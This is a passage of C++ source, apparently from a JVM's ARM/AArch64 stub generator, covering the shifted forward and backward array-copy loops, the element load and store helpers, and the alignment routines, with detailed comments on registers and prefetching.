ne); } __ pop(RegisterSet(R4,R10)); #endif // AARCH64 return count_per_loop; } // Generate the inner loop for shifted forward array copy (unaligned copy). // It can be used when bytes_per_count < wordSize, i.e. // byte/short copy on 32-bit ARM, byte/short/int/compressed-oop copy on AArch64. // // Arguments // from: start src address, 64 bits aligned // to: start dst address, (now) wordSize aligned // count: number of elements (32-bit int) // bytes_per_count: number of bytes for each unit of 'count' // lsr_shift: shift applied to 'old' value to skipped already written bytes // lsl_shift: shift applied to 'new' value to set the high bytes of the next write // // Return the minimum initial value for count // // Notes: // - 'from' aligned on 64-bit (recommended for 32-bit ARM in case this speeds up LDMIA, required for AArch64) // - 'to' aligned on wordSize // - 'count' must be greater or equal than the returned value // - 'lsr_shift' + 'lsl_shift' = BitsPerWord // - 'bytes_per_count' is 1 or 2 on 32-bit ARM; 1, 2 or 4 on AArch64 // // Increases 'to' by count*bytes_per_count. // // Scratches 'from' and 'count', R3-R10, R12 // // On entry: // - R12 is preloaded with the first 'BitsPerWord' bits read just before 'from' // - (R12 >> lsr_shift) is the part not yet written (just before 'to') // --> (*to) = (R12 >> lsr_shift) | (*from) << lsl_shift); ... // // This implementation may read more bytes than required. // Actually, it always reads exactly all data from the copied region with upper bound aligned up by wordSize, // so excessive read do not cross a word bound and is thus harmless. // int generate_forward_shifted_copy_loop(Register from, Register to, Register count, int bytes_per_count, int lsr_shift, int lsl_shift) { assert (from == R0 && to == R1 && count == R2, "adjust the implementation below"); const int bytes_per_loop = 8*wordSize; // 8 registers are read and written on every loop iter const int count_per_loop = bytes_per_loop / bytes_per_count; arraycopy_loop_config *config=&arraycopy_configurations[ArmCopyPlatform].forward_shifted; int pld_offset = config->pld_distance; #ifndef AARCH64 bool split_read= config->split_ldm; bool split_write= config->split_stm; #endif // !AARCH64 const bool prefetch_before = pld_offset < 0; const bool prefetch_after = pld_offset > 0; Label L_skip_pld, L_last_read, L_done; if (pld_offset != 0) { pld_offset = (pld_offset < 0) ? -pld_offset : pld_offset; prefetch(from, to, 0); if (prefetch_before) { __ cmp_32(count, count_per_loop); __ b(L_last_read, lt); // skip prefetch for small copies // warning: count is predecreased by the prefetch distance to optimize the inner loop __ subs_32(count, count, ((bytes_per_loop + pld_offset) / bytes_per_count) + count_per_loop); __ b(L_skip_pld, lt); } int offset = ArmCopyCacheLineSize; while (offset <= pld_offset) { prefetch(from, to, offset); offset += ArmCopyCacheLineSize; }; } Label L_shifted_loop; __ align(OptoLoopAlignment); __ BIND(L_shifted_loop); if (prefetch_before) { // do it early if there might be register locking issues prefetch(from, to, bytes_per_loop + pld_offset); __ BIND(L_skip_pld); } else { __ cmp_32(count, count_per_loop); __ b(L_last_read, lt); } #ifdef AARCH64 const Register data_regs[9] = {R3, R4, R5, R6, R7, R8, R9, R10, R12}; __ logical_shift_right(R3, R12, lsr_shift); // part of R12 not yet written __ subs_32(count, count, count_per_loop); bulk_load_forward(from, &data_regs[1], 8); #else // read 32 bytes if (split_read) { // if write is not split, use less registers in first set to reduce locking RegisterSet set1 = split_write ? RegisterSet(R4, R7) : RegisterSet(R4, R5); RegisterSet set2 = (split_write ? RegisterSet(R8, R10) : RegisterSet(R6, R10)) | R12; __ ldmia(from, set1, writeback); __ mov(R3, AsmOperand(R12, lsr, lsr_shift)); // part of R12 not yet written __ ldmia(from, set2, writeback); __ subs(count, count, count_per_loop); // XXX: should it be before the 2nd LDM ? (latency vs locking) } else { __ mov(R3, AsmOperand(R12, lsr, lsr_shift)); // part of R12 not yet written __ ldmia(from, RegisterSet(R4, R10) | R12, writeback); // Note: small latency on R4 __ subs(count, count, count_per_loop); } #endif // AARCH64 if (prefetch_after) { // do it after the 1st ldm/ldp anyway (no locking issues with early STM/STP) prefetch(from, to, pld_offset, bytes_per_loop); } // prepare (shift) the values in R3..R10 __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift)); // merged below low bytes of next val __ logical_shift_right(R4, R4, lsr_shift); // unused part of next val __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift)); // ... __ logical_shift_right(R5, R5, lsr_shift); __ orr(R5, R5, AsmOperand(R6, lsl, lsl_shift)); __ logical_shift_right(R6, R6, lsr_shift); __ orr(R6, R6, AsmOperand(R7, lsl, lsl_shift)); #ifndef AARCH64 if (split_write) { // write the first half as soon as possible to reduce stm locking __ stmia(to, RegisterSet(R3, R6), writeback, prefetch_before ? gt : ge); } #endif // !AARCH64 __ logical_shift_right(R7, R7, lsr_shift); __ orr(R7, R7, AsmOperand(R8, lsl, lsl_shift)); __ logical_shift_right(R8, R8, lsr_shift); __ orr(R8, R8, AsmOperand(R9, lsl, lsl_shift)); __ logical_shift_right(R9, R9, lsr_shift); __ orr(R9, R9, AsmOperand(R10, lsl, lsl_shift)); __ logical_shift_right(R10, R10, lsr_shift); __ orr(R10, R10, AsmOperand(R12, lsl, lsl_shift)); #ifdef AARCH64 bulk_store_forward(to, data_regs, 8); #else if (split_write) { __ stmia(to, RegisterSet(R7, R10), writeback, prefetch_before ? gt : ge); } else { __ stmia(to, RegisterSet(R3, R10), writeback, prefetch_before ? gt : ge); } #endif // AARCH64 __ b(L_shifted_loop, gt); // no need to loop if 0 (when count need not be precise modulo bytes_per_loop) if (prefetch_before) { // the first loop may end earlier, allowing to skip pld at the end __ cmn_32(count, (bytes_per_loop + pld_offset)/bytes_per_count); #ifndef AARCH64 __ stmia(to, RegisterSet(R3, R10), writeback); // stmia was skipped #endif // !AARCH64 __ b(L_skip_pld, ge); __ adds_32(count, count, ((bytes_per_loop + pld_offset) / bytes_per_count) + count_per_loop); } __ BIND(L_last_read); __ b(L_done, eq); #ifdef AARCH64 assert(bytes_per_count < 8, "adjust the code below"); __ logical_shift_right(R3, R12, lsr_shift); { Label L; __ tbz(count, exact_log2(32/bytes_per_count), L); bulk_load_forward(from, &data_regs[1], 4); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift)); __ logical_shift_right(R4, R4, lsr_shift); __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift)); __ logical_shift_right(R5, R5, lsr_shift); __ orr(R5, R5, AsmOperand(R6, lsl, lsl_shift)); __ logical_shift_right(R6, R6, lsr_shift); __ orr(R6, R6, AsmOperand(R7, lsl, lsl_shift)); bulk_store_forward(to, data_regs, 4); __ logical_shift_right(R3, R7, lsr_shift); __ bind(L); } { Label L; __ tbz(count, exact_log2(16/bytes_per_count), L); bulk_load_forward(from, &data_regs[1], 2); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift)); __ logical_shift_right(R4, R4, lsr_shift); __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift)); bulk_store_forward(to, data_regs, 2); __ logical_shift_right(R3, R5, lsr_shift); __ bind(L); } { Label L; __ tbz(count, exact_log2(8/bytes_per_count), L); __ ldr(R4, Address(from, 8, post_indexed)); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift)); __ str(R3, Address(to, 8, post_indexed)); __ logical_shift_right(R3, R4, lsr_shift); __ bind(L); } const int have_bytes = lsl_shift/BitsPerByte; // number of already read bytes in R3 // It remains less than wordSize to write. // Do not check count if R3 already has maximal number of loaded elements (one less than wordSize). if (have_bytes < wordSize - bytes_per_count) { Label L; __ andr(count, count, (uintx)(8/bytes_per_count-1)); // make count exact __ cmp_32(count, have_bytes/bytes_per_count); // do we have enough bytes to store? __ b(L, le); __ ldr(R4, Address(from, 8, post_indexed)); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift)); __ bind(L); } { Label L; __ tbz(count, exact_log2(4/bytes_per_count), L); __ str_w(R3, Address(to, 4, post_indexed)); if (bytes_per_count < 4) { __ logical_shift_right(R3, R3, 4*BitsPerByte); } __ bind(L); } if (bytes_per_count <= 2) { Label L; __ tbz(count, exact_log2(2/bytes_per_count), L); __ strh(R3, Address(to, 2, post_indexed)); if (bytes_per_count < 2) { __ logical_shift_right(R3, R3, 2*BitsPerByte); } __ bind(L); } if (bytes_per_count <= 1) { Label L; __ tbz(count, exact_log2(1/bytes_per_count), L); __ strb(R3, Address(to, 1, post_indexed)); __ bind(L); } #else switch (bytes_per_count) { case 2: __ mov(R3, AsmOperand(R12, lsr, lsr_shift)); __ tst(count, 8); __ ldmia(from, RegisterSet(R4, R7), writeback, ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); // merged below low bytes of next val __ mov(R4, AsmOperand(R4, lsr, lsr_shift), ne); // unused part of next val __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift), ne); // ... __ mov(R5, AsmOperand(R5, lsr, lsr_shift), ne); __ orr(R5, R5, AsmOperand(R6, lsl, lsl_shift), ne); __ mov(R6, AsmOperand(R6, lsr, lsr_shift), ne); __ orr(R6, R6, AsmOperand(R7, lsl, lsl_shift), ne); __ stmia(to, RegisterSet(R3, R6), writeback, ne); __ mov(R3, AsmOperand(R7, lsr, lsr_shift), ne); __ tst(count, 4); __ ldmia(from, RegisterSet(R4, R5), writeback, ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); // merged below low bytes of next val __ mov(R4, AsmOperand(R4, lsr, lsr_shift), ne); // unused part of next val __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift), ne); // ... __ stmia(to, RegisterSet(R3, R4), writeback, ne); __ mov(R3, AsmOperand(R5, lsr, lsr_shift), ne); __ tst(count, 2); __ ldr(R4, Address(from, 4, post_indexed), ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); __ str(R3, Address(to, 4, post_indexed), ne); __ mov(R3, AsmOperand(R4, lsr, lsr_shift), ne); __ tst(count, 1); __ strh(R3, Address(to, 2, post_indexed), ne); // one last short break; case 1: __ mov(R3, AsmOperand(R12, lsr, lsr_shift)); __ tst(count, 16); __ ldmia(from, RegisterSet(R4, R7), writeback, ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); // merged below low bytes of next val __ mov(R4, AsmOperand(R4, lsr, lsr_shift), ne); // unused part of next val __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift), ne); // ... __ mov(R5, AsmOperand(R5, lsr, lsr_shift), ne); __ orr(R5, R5, AsmOperand(R6, lsl, lsl_shift), ne); __ mov(R6, AsmOperand(R6, lsr, lsr_shift), ne); __ orr(R6, R6, AsmOperand(R7, lsl, lsl_shift), ne); __ stmia(to, RegisterSet(R3, R6), writeback, ne); __ mov(R3, AsmOperand(R7, lsr, lsr_shift), ne); __ tst(count, 8); __ ldmia(from, RegisterSet(R4, R5), writeback, ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); // merged below low bytes of next val __ mov(R4, AsmOperand(R4, lsr, lsr_shift), ne); // unused part of next val __ orr(R4, R4, AsmOperand(R5, lsl, lsl_shift), ne); // ... __ stmia(to, RegisterSet(R3, R4), writeback, ne); __ mov(R3, AsmOperand(R5, lsr, lsr_shift), ne); __ tst(count, 4); __ ldr(R4, Address(from, 4, post_indexed), ne); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ne); __ str(R3, Address(to, 4, post_indexed), ne); __ mov(R3, AsmOperand(R4, lsr, lsr_shift), ne); __ andr(count, count, 3); __ cmp(count, 2); // Note: R3 might contain enough bytes ready to write (3 needed at most), // thus load on lsl_shift==24 is not needed (in fact forces reading // beyond source buffer end boundary) if (lsl_shift == 8) { __ ldr(R4, Address(from, 4, post_indexed), ge); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), ge); } else if (lsl_shift == 16) { __ ldr(R4, Address(from, 4, post_indexed), gt); __ orr(R3, R3, AsmOperand(R4, lsl, lsl_shift), gt); } __ strh(R3, Address(to, 2, post_indexed), ge); // two last bytes __ mov(R3, AsmOperand(R3, lsr, 16), gt); __ tst(count, 1); __ strb(R3, Address(to, 1, post_indexed), ne); // one last byte break; } #endif // AARCH64 __ BIND(L_done); return 0; // no minimum } // Generate the inner loop for shifted backward array copy (unaligned copy). // It can be used when bytes_per_count < wordSize, i.e. // byte/short copy on 32-bit ARM, byte/short/int/compressed-oop copy on AArch64. // // Arguments // end_from: end src address, 64 bits aligned // end_to: end dst address, (now) wordSize aligned // count: number of elements (32-bit int) // bytes_per_count: number of bytes for each unit of 'count' // lsl_shift: shift applied to 'old' value to skipped already written bytes // lsr_shift: shift applied to 'new' value to set the low bytes of the next write // // Return the minimum initial value for count // // Notes: // - 'end_from' aligned on 64-bit (recommended for 32-bit ARM in case this speeds up LDMIA, required for AArch64) // - 'end_to' aligned on wordSize // - 'count' must be greater or equal than the returned value // - 'lsr_shift' + 'lsl_shift' = 'BitsPerWord' // - 'bytes_per_count' is 1 or 2 on 32-bit ARM; 1, 2 or 4 on AArch64 // // Decreases 'end_to' by count*bytes_per_count. // // Scratches 'end_from', 'count', R3-R10, R12 // // On entry: // - R3 is preloaded with the first 'BitsPerWord' bits read just after 'from' // - (R3 << lsl_shift) is the part not yet written // --> (*--to) = (R3 << lsl_shift) | (*--from) >> lsr_shift); ... // // This implementation may read more bytes than required. // Actually, it always reads exactly all data from the copied region with beginning aligned down by wordSize, // so excessive read do not cross a word bound and is thus harmless. // int generate_backward_shifted_copy_loop(Register end_from, Register end_to, Register count, int bytes_per_count, int lsr_shift, int lsl_shift) { assert (end_from == R0 && end_to == R1 && count == R2, "adjust the implementation below"); const int bytes_per_loop = 8*wordSize; // 8 registers are read and written on every loop iter const int count_per_loop = bytes_per_loop / bytes_per_count; arraycopy_loop_config *config=&arraycopy_configurations[ArmCopyPlatform].backward_shifted; int pld_offset = config->pld_distance; #ifndef AARCH64 bool split_read= config->split_ldm; bool split_write= config->split_stm; #endif // !AARCH64 const bool prefetch_before = pld_offset < 0; const bool prefetch_after = pld_offset > 0; Label L_skip_pld, L_done, L_last_read; if (pld_offset != 0) { pld_offset = (pld_offset < 0) ? -pld_offset : pld_offset; prefetch(end_from, end_to, -wordSize); if (prefetch_before) { __ cmp_32(count, count_per_loop); __ b(L_last_read, lt); // skip prefetch for small copies // warning: count is predecreased by the prefetch distance to optimize the inner loop __ subs_32(count, count, ((bytes_per_loop + pld_offset)/bytes_per_count) + count_per_loop); __ b(L_skip_pld, lt); } int offset = ArmCopyCacheLineSize; while (offset <= pld_offset) { prefetch(end_from, end_to, -(wordSize + offset)); offset += ArmCopyCacheLineSize; }; } Label L_shifted_loop; __ align(OptoLoopAlignment); __ BIND(L_shifted_loop); if (prefetch_before) { // do the 1st ldm/ldp first anyway (no locking issues with early STM/STP) prefetch(end_from, end_to, -(wordSize + bytes_per_loop + pld_offset)); __ BIND(L_skip_pld); } else { __ cmp_32(count, count_per_loop); __ b(L_last_read, lt); } #ifdef AARCH64 __ logical_shift_left(R12, R3, lsl_shift); const Register data_regs[9] = {R3, R4, R5, R6, R7, R8, R9, R10, R12}; bulk_load_backward(end_from, data_regs, 8); #else if (split_read) { __ ldmdb(end_from, RegisterSet(R7, R10), writeback); __ mov(R12, AsmOperand(R3, lsl, lsl_shift)); // part of R3 not yet written __ ldmdb(end_from, RegisterSet(R3, R6), writeback); } else { __ mov(R12, AsmOperand(R3, lsl, lsl_shift)); // part of R3 not yet written __ ldmdb(end_from, RegisterSet(R3, R10), writeback); } #endif // AARCH64 __ subs_32(count, count, count_per_loop); if (prefetch_after) { // do prefetch during ldm/ldp latency prefetch(end_from, end_to, -(wordSize + pld_offset), -bytes_per_loop); } // prepare the values in R4..R10,R12 __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift)); // merged above high bytes of prev val __ logical_shift_left(R10, R10, lsl_shift); // unused part of prev val __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift)); // ... __ logical_shift_left(R9, R9, lsl_shift); __ orr(R9, R9, AsmOperand(R8, lsr, lsr_shift)); __ logical_shift_left(R8, R8, lsl_shift); __ orr(R8, R8, AsmOperand(R7, lsr, lsr_shift)); __ logical_shift_left(R7, R7, lsl_shift); __ orr(R7, R7, AsmOperand(R6, lsr, lsr_shift)); __ logical_shift_left(R6, R6, lsl_shift); __ orr(R6, R6, AsmOperand(R5, lsr, lsr_shift)); #ifndef AARCH64 if (split_write) { // store early to reduce locking issues __ stmdb(end_to, RegisterSet(R6, R10) | R12, writeback, prefetch_before ? gt : ge); } #endif // !AARCH64 __ logical_shift_left(R5, R5, lsl_shift); __ orr(R5, R5, AsmOperand(R4, lsr, lsr_shift)); __ logical_shift_left(R4, R4, lsl_shift); __ orr(R4, R4, AsmOperand(R3, lsr, lsr_shift)); #ifdef AARCH64 bulk_store_backward(end_to, &data_regs[1], 8); #else if (split_write) { __ stmdb(end_to, RegisterSet(R4, R5), writeback, prefetch_before ? gt : ge); } else { __ stmdb(end_to, RegisterSet(R4, R10) | R12, writeback, prefetch_before ? gt : ge); } #endif // AARCH64 __ b(L_shifted_loop, gt); // no need to loop if 0 (when count need not be precise modulo bytes_per_loop) if (prefetch_before) { // the first loop may end earlier, allowing to skip pld at the end __ cmn_32(count, ((bytes_per_loop + pld_offset)/bytes_per_count)); #ifndef AARCH64 __ stmdb(end_to, RegisterSet(R4, R10) | R12, writeback); // stmdb was skipped #endif // !AARCH64 __ b(L_skip_pld, ge); __ adds_32(count, count, ((bytes_per_loop + pld_offset) / bytes_per_count) + count_per_loop); } __ BIND(L_last_read); __ b(L_done, eq); #ifdef AARCH64 assert(bytes_per_count < 8, "adjust the code below"); __ logical_shift_left(R12, R3, lsl_shift); { Label L; __ tbz(count, exact_log2(32/bytes_per_count), L); bulk_load_backward(end_from, &data_regs[4], 4); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift)); __ logical_shift_left(R10, R10, lsl_shift); __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift)); __ logical_shift_left(R9, R9, lsl_shift); __ orr(R9, R9, AsmOperand(R8, lsr, lsr_shift)); __ logical_shift_left(R8, R8, lsl_shift); __ orr(R8, R8, AsmOperand(R7, lsr, lsr_shift)); bulk_store_backward(end_to, &data_regs[5], 4); __ logical_shift_left(R12, R7, lsl_shift); __ bind(L); } { Label L; __ tbz(count, exact_log2(16/bytes_per_count), L); bulk_load_backward(end_from, &data_regs[6], 2); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift)); __ logical_shift_left(R10, R10, lsl_shift); __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift)); bulk_store_backward(end_to, &data_regs[7], 2); __ logical_shift_left(R12, R9, lsl_shift); __ bind(L); } { Label L; __ tbz(count, exact_log2(8/bytes_per_count), L); __ ldr(R10, Address(end_from, -8, pre_indexed)); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift)); __ str(R12, Address(end_to, -8, pre_indexed)); __ logical_shift_left(R12, R10, lsl_shift); __ bind(L); } const int have_bytes = lsr_shift/BitsPerByte; // number of already read bytes in R12 // It remains less than wordSize to write. // Do not check count if R12 already has maximal number of loaded elements (one less than wordSize). if (have_bytes < wordSize - bytes_per_count) { Label L; __ andr(count, count, (uintx)(8/bytes_per_count-1)); // make count exact __ cmp_32(count, have_bytes/bytes_per_count); // do we have enough bytes to store? __ b(L, le); __ ldr(R10, Address(end_from, -8, pre_indexed)); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift)); __ bind(L); } assert (bytes_per_count <= 4, "must be"); { Label L; __ tbz(count, exact_log2(4/bytes_per_count), L); __ logical_shift_right(R9, R12, (wordSize-4)*BitsPerByte); __ str_w(R9, Address(end_to, -4, pre_indexed)); // Write 4 MSB if (bytes_per_count < 4) { __ logical_shift_left(R12, R12, 4*BitsPerByte); // Promote remaining bytes to MSB } __ bind(L); } if (bytes_per_count <= 2) { Label L; __ tbz(count, exact_log2(2/bytes_per_count), L); __ logical_shift_right(R9, R12, (wordSize-2)*BitsPerByte); __ strh(R9, Address(end_to, -2, pre_indexed)); // Write 2 MSB if (bytes_per_count < 2) { __ logical_shift_left(R12, R12, 2*BitsPerByte); // Promote remaining bytes to MSB } __ bind(L); } if (bytes_per_count <= 1) { Label L; __ tbz(count, exact_log2(1/bytes_per_count), L); __ logical_shift_right(R9, R12, (wordSize-1)*BitsPerByte); __ strb(R9, Address(end_to, -1, pre_indexed)); // Write 1 MSB __ bind(L); } #else switch(bytes_per_count) { case 2: __ mov(R12, AsmOperand(R3, lsl, lsl_shift)); // part of R3 not yet written __ tst(count, 8); __ ldmdb(end_from, RegisterSet(R7,R10), writeback, ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ mov(R10, AsmOperand(R10, lsl, lsl_shift),ne); // unused part of prev val __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift),ne); // ... __ mov(R9, AsmOperand(R9, lsl, lsl_shift),ne); __ orr(R9, R9, AsmOperand(R8, lsr, lsr_shift),ne); __ mov(R8, AsmOperand(R8, lsl, lsl_shift),ne); __ orr(R8, R8, AsmOperand(R7, lsr, lsr_shift),ne); __ stmdb(end_to, RegisterSet(R8,R10)|R12, writeback, ne); __ mov(R12, AsmOperand(R7, lsl, lsl_shift), ne); __ tst(count, 4); __ ldmdb(end_from, RegisterSet(R9, R10), writeback, ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ mov(R10, AsmOperand(R10, lsl, lsl_shift),ne); // unused part of prev val __ orr(R10, R10, AsmOperand(R9, lsr,lsr_shift),ne); // ... __ stmdb(end_to, RegisterSet(R10)|R12, writeback, ne); __ mov(R12, AsmOperand(R9, lsl, lsl_shift), ne); __ tst(count, 2); __ ldr(R10, Address(end_from, -4, pre_indexed), ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ str(R12, Address(end_to, -4, pre_indexed), ne); __ mov(R12, AsmOperand(R10, lsl, lsl_shift), ne); __ tst(count, 1); __ mov(R12, AsmOperand(R12, lsr, lsr_shift),ne); __ strh(R12, Address(end_to, -2, pre_indexed), ne); // one last short break; case 1: __ mov(R12, AsmOperand(R3, lsl, lsl_shift)); // part of R3 not yet written __ tst(count, 16); __ ldmdb(end_from, RegisterSet(R7,R10), writeback, ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ mov(R10, AsmOperand(R10, lsl, lsl_shift),ne); // unused part of prev val __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift),ne); // ... __ mov(R9, AsmOperand(R9, lsl, lsl_shift),ne); __ orr(R9, R9, AsmOperand(R8, lsr, lsr_shift),ne); __ mov(R8, AsmOperand(R8, lsl, lsl_shift),ne); __ orr(R8, R8, AsmOperand(R7, lsr, lsr_shift),ne); __ stmdb(end_to, RegisterSet(R8,R10)|R12, writeback, ne); __ mov(R12, AsmOperand(R7, lsl, lsl_shift), ne); __ tst(count, 8); __ ldmdb(end_from, RegisterSet(R9,R10), writeback, ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ mov(R10, AsmOperand(R10, lsl, lsl_shift),ne); // unused part of prev val __ orr(R10, R10, AsmOperand(R9, lsr, lsr_shift),ne); // ... __ stmdb(end_to, RegisterSet(R10)|R12, writeback, ne); __ mov(R12, AsmOperand(R9, lsl, lsl_shift), ne); __ tst(count, 4); __ ldr(R10, Address(end_from, -4, pre_indexed), ne); __ orr(R12, R12, AsmOperand(R10, lsr, lsr_shift), ne); __ str(R12, Address(end_to, -4, pre_indexed), ne); __ mov(R12, AsmOperand(R10, lsl, lsl_shift), ne); __ tst(count, 2); if (lsr_shift != 24) { // avoid useless reading R10 when we already have 3 bytes ready in R12 __ ldr(R10, Address(end_from, -4, pre_indexed), ne); __ orr(R12, R12, AsmOperand(R10, lsr,lsr_shift), ne); } // Note: R12 contains enough bytes ready to write (3 needed at most) // write the 2 MSBs __ mov(R9, AsmOperand(R12, lsr, 16), ne); __ strh(R9, Address(end_to, -2, pre_indexed), ne); // promote remaining to MSB __ mov(R12, AsmOperand(R12, lsl, 16), ne); __ tst(count, 1); // write the MSB of R12 __ mov(R12, AsmOperand(R12, lsr, 24), ne); __ strb(R12, Address(end_to, -1, pre_indexed), ne); break; } #endif // AARCH64 __ BIND(L_done); return 0; // no minimum } // This method is very useful for merging forward/backward implementations Address get_addr_with_indexing(Register base, int delta, bool forward) { if (forward) { return Address(base, delta, post_indexed); } else { return Address(base, -delta, pre_indexed); } } #ifdef AARCH64 // Loads one 'size_in_bytes'-sized value from 'from' in given direction, i.e. // if forward: loads value at from and increases from by size // if !forward: loads value at from-size_in_bytes and decreases from by size void load_one(Register rd, Register from, int size_in_bytes, bool forward) { assert_different_registers(from, rd); Address addr = get_addr_with_indexing(from, size_in_bytes, forward); __ load_sized_value(rd, addr, size_in_bytes, false); } // Stores one 'size_in_bytes'-sized value to 'to' in given direction (see load_one) void store_one(Register rd, Register to, int size_in_bytes, bool forward) { assert_different_registers(to, rd); Address addr = get_addr_with_indexing(to, size_in_bytes, forward); __ store_sized_value(rd, addr, size_in_bytes); } #else // load_one and store_one are the same as for AArch64 except for // *) Support for condition execution // *) Second value register argument for 8-byte values void load_one(Register rd, Register from, int size_in_bytes, bool forward, AsmCondition cond = al, Register rd2 = noreg) { assert_different_registers(from, rd, rd2); if (size_in_bytes < 8) { Address addr = get_addr_with_indexing(from, size_in_bytes, forward); __ load_sized_value(rd, addr, size_in_bytes, false, cond); } else { assert (rd2 != noreg, "second value register must be specified"); assert (rd->encoding() < rd2->encoding(), "wrong value register set"); if (forward) { __ ldmia(from, RegisterSet(rd) | rd2, writeback, cond); } else { __ ldmdb(from, RegisterSet(rd) | rd2, writeback, cond); } } } void store_one(Register rd, Register to, int size_in_bytes, bool forward, AsmCondition cond = al, Register rd2 = noreg) { assert_different_registers(to, rd, rd2); if (size_in_bytes < 8) { Address addr = get_addr_with_indexing(to, size_in_bytes, forward); __ store_sized_value(rd, addr, size_in_bytes, cond); } else { assert (rd2 != noreg, "second value register must be specified"); assert (rd->encoding() < rd2->encoding(), "wrong value register set"); if (forward) { __ stmia(to, RegisterSet(rd) | rd2, writeback, cond); } else { __ stmdb(to, RegisterSet(rd) | rd2, writeback, cond); } } } #endif // AARCH64 // Copies data from 'from' to 'to' in specified direction to align 'from' by 64 bits. // (on 32-bit ARM 64-bit alignment is better for LDM). // // Arguments: // from: beginning (if forward) or upper bound (if !forward) of the region to be read // to: beginning (if forward) or upper bound (if !forward) of the region to be written // count: 32-bit int, maximum number of elements which can be copied // bytes_per_count: size of an element // forward: specifies copy direction // // Notes: // 'from' and 'to' must be aligned by 'bytes_per_count' // 'count' must not be less than the returned value // shifts 'from' and 'to' by the number of copied bytes in corresponding direction // decreases 'count' by the number of elements copied // // Returns maximum number of bytes which may be copied. int align_src(Register from, Register to, Register count, Register tmp, int bytes_per_count, bool forward) { assert_different_registers(from, to, count, tmp); #ifdef AARCH64 // TODO-AARCH64: replace by simple loop? Label Laligned_by_2, Laligned_by_4, Laligned_by_8; if (bytes_per_count == 1) { __ tbz(from, 0, Laligned_by_2); __ sub_32(count, count, 1); load_one(tmp, from, 1, forward); store_one(tmp, to, 1, forward); } __ BIND(Laligned_by_2); if (bytes_per_count <= 2) { __ tbz(from, 1, Laligned_by_4); __ sub_32(count, count, 2/bytes_per_count); load_one(tmp, from, 2, forward); store_one(tmp, to, 2, forward); } __ BIND(Laligned_by_4); if (bytes_per_count <= 4) { __ tbz(from, 2, Laligned_by_8); __ sub_32(count, count, 4/bytes_per_count); load_one(tmp, from, 4, forward); store_one(tmp, to, 4, forward); } __ BIND(Laligned_by_8); #else // AARCH64 if (bytes_per_count < 8) { Label L_align_src; __ BIND(L_align_src); __ tst(from, 7); // ne => not aligned: copy one element and (if bytes_per_count < 4) loop __ sub(count, count, 1, ne); load_one(tmp, from, bytes_per_count, forward, ne); store_one(tmp, to, bytes_per_count, forward, ne); if (bytes_per_count < 4) { __ b(L_align_src, ne); // if bytes_per_count == 4, then 0 or 1 loop iterations are enough } } #endif // AARCH64 return 7/bytes_per_count; } // Copies 'count' of 'bytes_per_count'-sized elements in the specified direction. // // Arguments: // from: beginning (if forward) or upper bound (if !forward) of the region to be read // to: beginning (if forward) or upper bound (if !forward) of the region to be written // count: 32-bit int, number of elements to be copied // entry: copy loop entry point // bytes_per_count: size of an element // forward: specifies copy direction // // Notes: // shifts 'from' and 'to' void copy_small_array(Register from, Register to, Register count, Register tmp, Register tmp2, int bytes_per_count, bool forward, Label & entry) { assert_different_registers(from, to, count, tmp); __ align(OptoLoopAlignment); #ifdef AARCH64 Label L_small_array_done, L_small_array_loop; __ BIND(entry); __ cbz_32(count, L_small_array_done); __ BIND(L_small_array_loop); __ subs_32(count, count, 1); load_one(tmp, from, bytes_per_count, forward); store_one(tmp, to, bytes_per_count, forward); __ b(L_small_array_loop, gt); __ BIND(L_small_array_done); #else Label L_small_loop; __ BIND(L_small_loop); store_one(tmp, to, bytes_per_count, forward, al, tmp2); __ BIND(entry); // entry point __ subs(count, count, 1); load_one(tmp, from, bytes_per_count, forward, ge, tmp2); __ b(L_small_loop, ge); #endif // AARCH64 } // Aligns 'to' by reading one word from 'from' and writting its part to 'to'. // // Arguments: // to: beginning (if forward) or upper bound (if !forward) of the region to be written // count: 32-bit int, number of elements allowed to be copied // to_remainder: remainder of dividing 'to' by wordSize // bytes_per_count: size of an element // forward: specifies copy direction // Rval: contains an already read but not yet written word; // its' LSBs (if forward) or MSBs (if !forward) are to be written to align 'to'. // // Notes: // 'count' must not be less then the returned value // 'to' must be aligned by bytes_per_count but must not be aligned by wordSize // shifts 'to' by the number of written bytes (so that it becomes the bound of memory to be written) // decreases 'count' by the the number of elements written // Rval's MSBs or LSBs remain to be written further by generate_{forward,backward}_shifted_copy_loop int align_dst(Register to, Register count, Register Rval, Register tmp, int to_remainder, int bytes_per_count, bool forward) { assert_different_registers(to, count, tmp, Rval); assert (0 < to_remainder && to_remainder < wordSize, "to_remainder is not valid"); assert (to_remainder % bytes_per_count == 0, "to must be aligned by 